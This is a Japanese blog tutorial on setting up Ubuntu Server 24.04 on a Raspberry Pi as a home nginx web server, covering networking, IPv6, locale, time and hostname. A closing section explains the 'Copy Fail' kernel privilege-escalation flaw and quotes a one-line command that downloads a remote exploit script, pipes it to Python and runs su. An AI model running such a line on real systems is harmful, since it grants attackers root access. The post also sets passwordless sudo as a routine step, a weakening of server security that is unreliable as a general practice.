HOME | 2026-09-14 (Mon) Today's Access : 503 Total : 1382786. Since 10 Sep. 2019

ラズパイで作る自宅WEBサーバ:nginx編
第1回 Ubuntu Server 設定
2026.09.14

●Ubuntu Server 24.04.4 LTS
2024年4月25日、Ubuntu24.04 LTSがリリースされました。 標準サポート期間は、リリースから5年間の2029年4月までです。


ネットワークケーブルを繋いで、有線接続できるようにしておきます。 microSDカードを Raspberry Pi 3 model B+ に差し込んで起動します。
初期状態でSSHが利用可能になっているので、TeraTermなどでSSH接続して作業を行っても構いません。

●Ubuntuバージョンの確認
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 24.04.4 LTS
Release:        24.04
Codename:       noble
●sudoでのパスワード要求の無効化

$ sudo vi /etc/sudoers
# See sudoers(5) for more information on "@include" directives:
ubuntu ALL=(ALL:ALL) NOPASSWD: ALL

@includedir /etc/sudoers.d

:wq! で強制的に保存して終了します。

●Ethernet(有線LAN)用MACアドレス確認

$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
3: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.10/24 metric 600 brd 192.168.11.255 scope global dynamic wlan0
       valid_lft 171777sec preferred_lft 171777sec
    inet6 xxxx::xxxx:xxx:xxxx:xxx/64 scope link
       valid_lft forever preferred_lft forever
オレンジ色のMACアドレスを控えておきます。

●ネットワーク設定

初期状態のネットワーク設定をみると無線LANの設定のみです。
$ sudo cat /etc/netplan/50-cloud-init.yaml
network:
  version: 2
  wifis:
    wlan0:
      optional: true
      dhcp4: true
      regulatory-domain: "JP"
      access-points:
        "XXXXXXXXXXXX":
          auth:
            key-management: "psk"
            password: "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"

Ubuntu Desktopでは renderer にNetwork-Managerを使用し、UbuntuServerやRaspberryPi用のUbuntu24.04 Serverでは netplanで設定します。 デフォルト値を変更したい場合は、renderer を明記します。

無線接続設定を削除して、有線接続に書き換えます。
ここでは、WEBサーバ(ラズベリーパイ)のローカルIPアドレスを、192.168.11.28 としています。
network:
  version: 2
  ethernets:
    eth0:
      optional: true
      dhcp4: false
      dhcp6: false
      match:
          macaddress: xx:xx:xx:xx:xx:xx
      set-name: eth0
      addresses: [192.168.11.28/24]
      nameservers:
          addresses: [192.168.11.28,192.168.11.1]
      routes:
        - to: default
          via: 192.168.11.1
※yamlファイルは、TABでなくSPACE(基本は空白2文字)でインデントする必要があります。

macaddress の箇所に先程控えて置いたアドレスを記載します。

ネームサーバの部分には、WEBサーバのIPアドレス、ブロードバンドルータのIPアドレスの順に設定しています。 本番運用の際には、ネームサーバの指定にWEBサーバのIPアドレスは不要ですが、LAN内でドメイン名を使用してWEBサイトへのアクセスをテストする際に必要になります。
本番稼働時においてもこの設定を残しておくと、LAN内のパソコンからWAN側に出ずにアクセスできるので便利です。 詳しくは、DNS設定のところで解説します。

※無線接続を残したままにしておくと、DNSの優先順位をうまく設定できないことがあります。

※ローカルネットワーク側にラズパイを配置して、ポートマッピング機能により、グローバルIPアドレスへのリクエストをローカルIPアドレスに振り分けているので、この記載にグローバルIPアドレスは現れません。

設定の反映
$ sudo netplan apply

SSH接続している場合は接続が切れるので、再接続します

ipアドレスの確認
$ ip a (あるいは $ ifconfig )
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.28/24 brd 192.168.11.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 xxxx::xxxx:xxx:xxxx:xxx/64 scope link
       valid_lft forever preferred_lft forever
3: wlan0:  mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff

●IPv6の無効化

IPv6は使用しないので、無効化します。
$ sudo vi /etc/sysctl.d/70-disable-ipv6.conf
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1
設定を反映します
$ sudo sysctl --system

これだけでは再起動した際に反映されないことがあるので、起動後にsysctl設定を再適用するスタートアップスクリプトを作成します。
$ sudo vi /etc/rc.local
#!/bin/bash
# /etc/rc.local

# Load kernel variables from /etc/sysctl.d
sysctl --system
exit 0

実行権限を付与します
$ sudo chmod 755 /etc/rc.local

サーバーを再起動します。
$ sudo reboot

$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.28/24 brd 192.168.11.255 scope global eth0
       valid_lft forever preferred_lft forever
3: wlan0:  mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether xx:xx:xx:xx:xx:xx brd ff:ff:ff:ff:ff:ff
IPv6アドレスが表示されなくなります。

●ネットワーク接続確認 ping

$ ping youtube.com
PING youtube.com (142.251.24.190) 56(84) bytes of data.
64 bytes from rj-in-f190.1e100.net (142.251.24.190): icmp_seq=1 ttl=113 time=66.8 ms
64 bytes from rj-in-f190.1e100.net (142.251.24.190): icmp_seq=2 ttl=113 time=69.3 ms

●ロケール確認・設定
対応しているロケール一覧を表示します
$ locale -a
C
C.UTF-8
POSIX

日本語ロケールがサポートされてるかを確認します
$ grep ja /usr/share/i18n/SUPPORTED
ja_JP.UTF-8 UTF-8
ja_JP.EUC-JP EUC-JP

ロケールを追加します
$ sudo locale-gen ja_JP.UTF-8
Generating locales (this might take a while)...
 ja_JP.UTF-8... done
Generation complete.

ロケール追加を確認します
$ locale -a
C
C.UTF-8
POSIX
ja_JP.utf8

設定を反映させます
$ sudo localectl set-locale LANG=ja_JP.UTF-8 LANGUAGE="ja_JP:ja"

確認します
$ cat /etc/default/locale
LANG=ja_JP.UTF-8
LANGUAGE=ja_JP:ja

$ localectl status
System Locale: LANG=ja_JP.UTF-8
               LANGUAGE=ja_JP:ja
    VC Keymap: (unset)
   X11 Layout: us
    X11 Model: pc105

●時刻合わせ
タイムサーバを追加します
$ sudo vi /etc/systemd/timesyncd.conf
NTP=ntp.nict.jp
FallbackNTP=ntp.ubuntu.com

※FallbackNTPに複数サーバを指定する場合はスペース区切りで続けて記述します

$ timedatectl set-ntp true
==== AUTHENTICATING FOR org.freedesktop.timedate1.set-ntp ===
Authentication is required to control whether network time synchronization shall be enabled.
Authenticating as: Ubuntu (ubuntu)
Password:********
==== AUTHENTICATION COMPLETE ===

$ sudo systemctl enable systemd-timesyncd.service

●タイムゾーンの確認
Raspberry Pi Imagerで起動ディスク(microSD)作成時にタイムゾーンを設定しているので確認のみです。
$ timedatectl
               Local time: Thu 2026-07-30 15:07:53 JST
           Universal time: Thu 2026-07-30 06:07:53 UTC
                 RTC time: n/a
                Time zone: Asia/Tokyo (JST, +0900)
System clock synchronized: yes
              NTP service: active
          RTC in local TZ: no
手動で変更する場合
$ sudo timedatectl set-timezone Asia/Tokyo
$ sudo systemctl restart systemd-timesyncd.service

●ホスト名の設定
現在のホスト名を確認します。
$ hostname
Rasp3Bplus

ドメイン名を example.jp とした場合の設定は下記のようになります。
$ sudo hostnamectl set-hostname ns.example.jp
$ hostnamectl
 Static hostname: ns.example.jp
       Icon name: computer
      Machine ID: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
         Boot ID: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Operating System: Ubuntu 24.04.4 LTS
          Kernel: Linux 6.8.0-1047-raspi
    Architecture: arm64
※ホスト名先頭の ns は Name Server の意味で、DNSサーバ設定に合わせた一般的な表記のようです

Ubuntu 24.04でホスト名が初期状態に戻る原因は、OS初期化ツール(cloud-init)が再起動時に設定を上書きするためです。 hostnamectlコマンドだけでなく、cloud-initの設定変更をあわせて行う必要があります。
$ sudo vi /etc/cloud/cloud.cfg
preserve_hostname: true

●パッケージの更新
ここまで完了したら一旦、インストール可能なパッケージ一覧を更新して、インストールされているパッケージを更新します。
$ sudo apt-get update
$ sudo apt-get upgrade

最後にこの状態でのSDカードとメモリの使用状況をみてみます
$ df
Filesystem     1K-blocks    Used Available Use% Mounted on
tmpfs             798960    3272    795688   1% /run
/dev/mmcblk0p2  29179236 3232008  24707456  12% /
tmpfs            3994780       0   3994780   0% /dev/shm
tmpfs               5120       0      5120   0% /run/lock
/dev/mmcblk0p1    516204  191350    324854  38% /boot/firmware
tmpfs             798956      12    798944   1% /run/user/1000

$ free -t

               total        used        free      shared  buff/cache   available
Mem:         7989564      517868     4544136        3288     3244924     7471696
Swap:              0           0           0
Total:       7989564      517868     4544136
また、Ubuntu 24.04ではスワップ領域をスワップファイル /swap.img に確保するため、スワップパーティションを作成する必要がないようです。

●Copy Fail(CVE-2026-31431)
Copy Fail(CVE-2026-31431)は、2017年以降のほぼすべての主要なLinuxディストリビューションに影響を与える、 ローカル特権昇格(LPE)の脆弱性です。
対象:4.14以降のLinuxカーネル(2017年〜2026年の約9年間)
影響:一般ユーザーが管理者(root)権限を取得可能
仕組:カーネルの暗号API(AF_ALG)と splice() システムコールの処理におけるロジックの欠陥に起因します。 ページキャッシュへの参照が不適切に連鎖し、攻撃者が制御する4バイトのデータをメモリ上のsetuidバイナリ(/usr/bin/su など)のページキャッシュに直接書き込めます。 ディスク上のファイルは変更されず、メモリ上のキャッシュのみが書き換わるため、再起動で痕跡が消えるステルス性の高い攻撃です。

手口:732バイトのPythonスクリプトの実行
$ curl https://copy.fail/exp | python3 && su
これにより、キャッシュ上の uid=0(root)に変更されます。

Copy Failはあくまで「ローカル特権昇格」の脆弱性なので、第一段階として、すでにサーバの内部に犯人(または犯人が送り込んだプログラム)が侵入していることが絶対条件になります。

そもそも、Raspberry Pi用Ubuntu 24.04では、algif_aeadモジュールは無効化されているので、脆弱性による影響(攻撃経路)はありません。 念のため、確認しておきます。
$ lsmod | grep algif_aead
algif_aead が表示されない場合: 現在モジュールがロードされていない、または無効化されているため、この脆弱性を直接突かれるリスクは低いです。

Raspberry Piはイギリスのラズベリーパイ財団により開発されたシングルボードコンピュータです。
2026.08.27 番外編 DNSトランスファー
2026.09.06 第0回 nginx を始めよう
2026.09.14 第1回 Ubuntu Server 設定

KEYESTUDIO Micro:bit V2ロボットスターターキット (マイクロビットなし) MakecodeとPython用
動き、光と音の使い方、障害物の検知と回避方法、線をたどり、IRリモコンとアプリでコントロールする方法を学びます。

Maqueen Lite V5 micro:bit ロボットキット STEM用(ライントレース&障害物回避)
Maqueen Lite V5 STEMロボットは、事前調整済みのライントレースアルゴリズム、耐衝撃モーター、開封即使用可能な設計で、ストレスを解消します。

たいていのことは100日あれば、うまくいく。長田英知著
「時間がなくて、なかなか自分のやりたいことができない」 「一念発起して何かを始めても、いつも三日坊主で終わってしまう」 「色んなことを先延ばしにしたまま、時間だけが過ぎていく」 そこで本書では、そんな著者が独自に開発した、 まったく新しい目標達成メソッド「100日デザイン」について、 その知識と技術を、余すところなくご紹介します。

まんがで納得ナポレオン・ヒル 思考は現実化する
OLとして雑務をこなす日々に飽き足らず、科学者だった父が残した薬品を商品化すべく、起業を決意した内山麻由(27)。彼女はセミナーで知り合った謎の女性からサポートを得ながら、彼女と二人三脚でナポレオン・ヒルの成功哲学を実践し、さまざまな問題を乗り越えていく。 ヒル博士の<ゴールデンルール>に従い、仕事に、恋に全力疾走する彼女の、成功への物語。

今日は人生最悪で最高の日 1秒で世界を変えるたったひとつの方法 ひすいこたろう著
偉人の伝記を読むと、最悪な日は、不幸な日ではなく、新しい自分が始まる日であることがわかります。最悪な出来事は、自分の人生が、想像を超えて面白くなる兆しなのです。偉人伝を読むことで、このときの不幸があったおかげで、未来にこういう幸せがくるのかと、人生を俯瞰する視線が立ち上がるのです。

ご飯は私を裏切らない heisoku著
辛い現実から目を背けて食べるご飯は、いつも美味しく幸せを届けてくれる。 29歳、中卒、恋人いない歴イコール年齢。バイト以外の職歴もなく、短期バイトを転々とする日々。ぐるぐると思索に耽るけど、ご飯を食べると幸せになれる。奇才の新鋭・heisokuが贈るリアル労働グルメ物語!

【最新版Gemini 3に対応!】できるGemini (できるシリーズ)
Geminiを「最強の知的生産パートナー」として使いこなすための、実践的なノウハウを凝縮した一冊です。 基本的な操作方法から、具体的なビジネスシーンでの活用、日々の業務を自動化するGoogle Workspaceとの連携、さらには自分だけのオリジナルAIを作成する方法まで余すところなく解説します。

Rustプログラミング完全ガイド 他言語との比較で違いが分かる!
Rustの各手法や考え方を幅広く解説! 500以上のサンプルを掲載。実行結果も確認。 全24章の包括的なチュートリアル。

ポチらせる文章術
販売サイト・ネット広告・メルマガ・ブログ・ホームページ・SNS… 全WEB媒体で効果バツグン! カリスマコピーライターが教える「見てもらう」「買ってもらう」「共感してもらう」すべてに効くネット文章術

小型で便利な Type-C アダプター USB C オス - USB3.1 オスアダプター
Type-C端子のマイコンボードをこのアダプタを介して直接Raspberry Piに挿すことができます。ケーブルなしで便利なツールです。

Divoom Ditoo Pro ワイヤレススピーカー
15W高音質重低音/青軸キーボード/Bluetooth5.3/ピクセルアート 専用アプリ/USB接続/microSDカード

電源供給USBケーブル スリム 【5本セット】
USB電源ケーブル 5V DC電源供給ケーブル スリム 【5本セット】 電源供給 バッテリー 修理 自作 DIY 電子工作 (100cm)

Copyright © 2011-2027 Sarako Tsukiyono All rights reserved®.